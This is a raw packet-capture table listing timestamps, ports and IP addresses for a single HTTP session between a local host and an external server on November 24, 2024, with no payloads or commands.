Nov 24, 2024 02:13:26.600703001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.600753069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.600780964 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.600929022 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.601511002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.601599932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.601624966 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.601713896 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.602317095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.602381945 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.602413893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.602551937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.603143930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.603256941 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.603266954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.603382111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.603993893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.604113102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.604113102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.604252100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.604789019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.604882956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.604899883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.604999065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.605652094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.605662107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.605811119 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.606455088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.606590033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.606618881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.606731892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.607259035 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.607373953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.607374907 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.607489109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.608074903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.608191967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.608194113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.608334064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.608908892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.608995914 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.609021902 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.609114885 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.609720945 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.609817028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.609842062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.609944105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.610538960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.610647917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.610676050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.610770941 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.611367941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.611485958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.611490011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.611605883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.612198114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.612292051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.612319946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.612430096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.613060951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.613157988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.613174915 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.613276958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.613821983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.613928080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.613936901 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.614068031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.614644051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.614746094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.614763975 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.614860058 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.615441084 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.615472078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.615498066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.615638018 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.616270065 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.616372108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.616395950 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.616501093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.617084026 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.617198944 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.617202997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.617338896 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.617927074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.617937088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.618113041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.618933916 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.619049072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.619062901 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.619165897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.619546890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.619653940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.619662046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.619766951 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.620378017 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.620501041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.620526075 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.620616913 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.621198893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.621305943 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.621315956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.621426105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.622023106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.622116089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.622142076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.622255087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.622836113 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.622945070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.622960091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.623065948 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.623675108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.623795033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.623795033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.623934984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.624461889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.624577999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.624581099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.624691010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.625292063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.625389099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.625413895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.625485897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.626106024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.626224995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.626250029 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.626339912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.626931906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.627048969 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.627063036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.627177000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.627783060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.627800941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.627830982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.628010988 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.628576040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.628725052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.628746033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.628859043 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.629391909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.629504919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.629507065 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.629626036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.630300045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.630424023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.630443096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.630542994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.630999088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.631119967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.631120920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.631234884 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.631839037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.631953955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.631962061 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.632102013 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.632687092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.632791042 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.632805109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.632903099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.633497953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.633590937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.633620977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.633734941 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.634299994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.634422064 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.634449005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.634536028 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.635126114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.635243893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.635255098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.635370970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.635961056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.636080027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.636105061 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.636204958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.636971951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.637046099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.637073994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.637167931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.637605906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.637722969 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.637727022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.637864113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.638413906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.638535023 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.796806097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.796873093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.797199965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.797231913 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.797282934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.797791004 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.797817945 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.797899961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.797929049 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.798615932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.798686028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.798715115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.799082041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.799222946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.799249887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.799915075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.800004005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.800033092 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.800707102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.800816059 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.800843954 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.801548958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.801577091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.801693916 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.802385092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.802409887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.802433968 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.803195953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.803225994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.803289890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.804022074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.804044962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.804121971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.804857969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.804887056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.804963112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.805375099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.805660009 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.805701971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.806462049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.806489944 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.806603909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.807337999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.807351112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.807365894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.808125019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.808151960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.808178902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.808913946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.808943033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.809022903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.809653997 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.809746981 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.809864044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.810558081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.810585022 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.810672998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.811393023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.811403990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.811424017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.812251091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.812275887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.812347889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.812638998 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.813021898 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.813142061 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.813869953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.813951015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.813966990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.814697027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.814760923 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.814794064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.815522909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.815534115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.816298008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.816327095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.816406965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.817121029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.817150116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.817204952 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.817354918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.817950010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.818061113 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.818743944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.818773031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.818852901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.819566011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.819593906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.819617033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.820389986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.820417881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.820502996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.821223974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.821247101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.821316957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.821432114 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.822016001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.822130919 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.822850943 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.822880030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.822951078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.823693037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.823721886 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.823801041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.824511051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.824543953 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.824579954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.825299978 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.825325966 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.825407982 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.825736046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.826138973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.826225996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.826982975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.826993942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.827007055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.827778101 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.827805996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.827891111 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.828592062 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.828618050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.828689098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.829396009 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.829420090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.829499006 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.829596996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.830214977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.830326080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.831033945 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.831062078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.831140995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.831875086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.831902027 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.831922054 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.832676888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.832705021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.832772970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.833240986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.833518028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.833632946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.834362984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.834387064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.834428072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.835155010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.835180998 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.835263968 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.835992098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.836025953 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.836086988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.836782932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.836812019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.836879969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.837471962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.837613106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.837677956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.838430882 CET	80	49748	185.215.113.206	192.168.2.4
